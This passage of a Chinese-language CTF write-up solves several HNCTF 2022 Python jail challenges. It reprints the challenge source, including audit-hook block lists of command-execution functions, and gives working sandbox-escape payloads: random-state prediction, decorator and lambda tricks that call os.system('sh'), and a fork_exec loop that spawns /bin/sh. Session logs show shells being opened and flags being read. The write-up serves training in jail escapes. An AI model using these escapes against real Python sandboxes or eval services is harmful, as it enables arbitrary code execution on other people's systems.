BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

题目引入了一个sys.addaudithook机制,这个机制为了给沙箱提供安全保障,题目也ban掉了大部分常用的RCE函数,也ban了'compile', 'eval', 'exec', 'open'这几个。

题目的实质不难看出这是个猜数游戏,用random.randint进行的一个猜数游戏。这里牵扯到一个random库的随机数生成问题。接下来来回顾一下:

random库生成随机数用getrandbits(32),每次产生32位序列,每组随机数为624个,然后进行一轮旋转产生一波新的624个随机数。

以前没有研究过的是,在这个随机库中还包含两个比较实用的函数getstate()setstate()。通过导库之后用getstate()可以得到一个元组(省略号省略了624个32位随机数):

1
(3, (..., 624), None)

经过简单的测试发现在这个三元组里第一和第三个元素始终是3和None,第二个元组中最后一个数其实类似于一个随机数指针,指向现在生成到的随机数,通过调用一次getrandint(32)之后发现改变:

1
(3, (..., 1), None)

同时,省略号的随机数序列也更新到了新的一组。这里我尝试用setstate()将当前的state转回0位置,这样我再生成的随机数和一开始的随机数是一致的:

1
2
3
4
5
6
from random import *

print(getrandbits(32))
res = getstate()
setstate((3, tuple(list(res[1][:624]) + [0]), None))
print(getrandbits(32))

所以,可以通过这个方法输入一个操作,使得我们能获得当前随机数序列的状态state,并回到0位置重新生成一个题目的生成random.randint(1, 9999999999999),这样我们生成的随机数和题目的随机数应该是一摸一样的,相当于”猜“出了这个随机数。

现在问题来了,该如何在一行代码里满足我们的这个操作呢?

这里不得不提到之前做题时经常发现的一个比较抽象的运算符:=(这玩意在py3.8引入,还有一个广泛的别名:它长得比较像海象,所以又叫海象运算符,用这个运算符可以构成赋值表达式)。

这个运算符可以对表达式进行赋值给运算符左边的变量,举个例子:

1
2
3
4
5
6
7
8
9
10
print(
[
random := __import__("random"),
random.randint(1, 9999999999999),
random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)),
random.randint(1, 9999999999999),
]
)

# [<module 'random' from 'random.py'>, 4180160353219, None, 4180160353219]

我们用一个list来装这四个表达式,第一个表达式我们用__import__来导入random库,并直接赋值给random参数,相当于直接用random导入了random库import random,接下来由于list是从前往后运算的性质,接下来就可以利用random.去引用库函数了,根据上面的随机数理论,在第二个和第四个表达式中生成的两个随机数应该是一样的,所以根据这个思路,就可以用一句话去得到我们需要猜的数:

1
[random := __import__("random"), random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)), random.randint(1, 9999999999999)][-1]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 28001

_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ | | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|


Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > [random := __import__("random"), random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)), random.randint(1, 9999999999999)][-1]
you are really super guesser!!!!
flag=NSSCTF{3d7e32ec-5918-4df1-82f1-33cb0fafb12d}

[HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)

306分
JAILMISC
题目描述

“laKe laKe laKe have some interesting sol

But now lak3 lak3 lak3 is back

G00d luck! Hackers

Author:crazyman”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ ____ _ _ ____ _ _ ____
| | | | |___ \ | | | | |___ \ | | | | |___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ < | |/ _` | |/ /|__ < | |/ _` | |/ /|__ <
| | (_| | < ___) | | | (_| | < ___) | | | (_| | < ___) |
|_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print('flag{fake_flag_in_local_but_really_in_The_remote}')
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

这道题目也是随机数猜测的
和前面的paylaod是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 24360

_ _ ____ _ _ ____ _ _ ____
| | | | |___ \ | | | | |___ \ | | | | |___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ < | |/ _` | |/ /|__ < | |/ _` | |/ /|__ <
| | (_| | < ___) | | | (_| | < ___) | | | (_| | < ___) |
|_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/


Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > [random := __import__("random"), random.setstate((3, tuple(list(random.getstate()[1][:624]) + [0]), None)), random.randint(1, 9999999999999)][-1]
you are really super guesser!!!!
NSSCTF{d217e44f-35a7-4eab-8afe-eada436c8acc}

[HNCTF 2022 WEEK3]calc_jail_beginner_level7(JAIL)

309分
MISCJAIL
题目描述

Let’s have an AST game!

Author:crazyman
相关的知识点就是:函数装饰器、类的定义
给了一个窗口,按照提示输入对应的字符看看

1
2
3
4
@exec
@input
class A: pass

这里前面两个是函数装饰器:把带有@的函数放到某个函数的定义处,相当于执行了一次@后的函数
后面这个是一个类定义,这里的pass的主要作用就是占据位置,让代码整体完整,定义一个空类会报错
这里我们要按照它的这个意思
先单独输入一个e,进入到他的这个写py代码的地方,然后就是再以
那个结尾
我们输入

1
2
3
4
@exec
@input
class A: pass
--HNCTF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 25370
TERM environment variable not set.


_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/


=================================================================================================
== Welcome to the calc jail beginner level7,It's AST challenge ==
== Menu list: ==
== [G]et the blacklist AST ==
== [E]xecute the python code ==
== [Q]uit jail challenge ==
=================================================================================================
e
Pls input your code: (last line must contain only --HNCTF)
@exec
@input
class A: pass
--HNCTF
check is passed!now the result is:
<class '__main__.A'>__import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{efb6688f-976e-4725-aad2-799ee38f0972}

[HNCTF 2022 WEEK3]s@Fe safeeval(JAIL)

318分
MISCJAIL
题目描述

is my s@Fe safeeval still safe?

I don’t think so!

Author:crazyman
这个是我们的这个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Black List:

[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]

some code:

import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)

这里是基于代码字节码的操作码来进行拦截的,普通试了一下,发现会报错,这种情况可以试一试lambda表达式:

1
2
3
4
print((lambda: 1 * 2)())
输出:
2

payload

1
(lambda: __import__('os').system('sh'))()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 27450
Warning: _curses.error: setupterm: could not find terminfo database

Terminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).

______ __ _
____ | ____| / _| | |
___ / __ \| |__ ___ ___ __ _| |_ ___ _____ ____ _| |
/ __|/ / _` | __/ _ \ / __|/ _` | _/ _ \/ _ \ \ / / _` | |
\__ \ | (_| | | | __/ \__ \ (_| | || __/ __/\ V / (_| | |
|___/\ \__,_|_| \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
\____/

Turing s@Fe mode: on
Black List:

[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]

some code:

import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)

> (lambda: __import__('os').system('sh'))()
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{6e6ea3dd-0dca-4174-ab1e-fa424ec40da3}

[HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(JAIL)

348分
MISCJAIL
题目描述

Good luck of whitelist of audit_hook

Author:crazyman
这次的和上次的不同,只有一次执行代码的机会,这里可以运用到py3.8开始引入的一个运算符海象运算符

1
2
3
:=
海象运算符的优势在于能在不允许赋值的地方(如if语句的条件表达式中)使用赋值变量。海象运算符左侧有个标识符,赋值表达式的值等于分配给这个标识符的值

可以通过使用海象运算符和list的方式获得代码

1
2
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]

发现能弹shell了,但是只弹了一下shell就停了
这里使用无线迭代器itertools

1
2
[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]

当然,不是真正的无限,还是需要我们拼手速的
要在回车之前先复制粘贴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
┌──(root㉿kali)-[~]
└─# nc node5.anna.nssctf.cn 29686

_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

dict_global = dict()
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, dict_global)

> [os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]
/bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: /bin/sh: 0: can't access tty; job control turned off
$ can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: /bin/sh: 0: can't access tty; job control turned off
$ can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off/bin/sh: 0:
$ can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: /bin/sh: 0: can't access tty; job control turned off
$ can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: /bin/sh: 0: can't access tty; job control turned off
$ can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
/bin/sh: 0: can't access tty; job control turned off
$ $ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 0: can't access tty; job control turned off
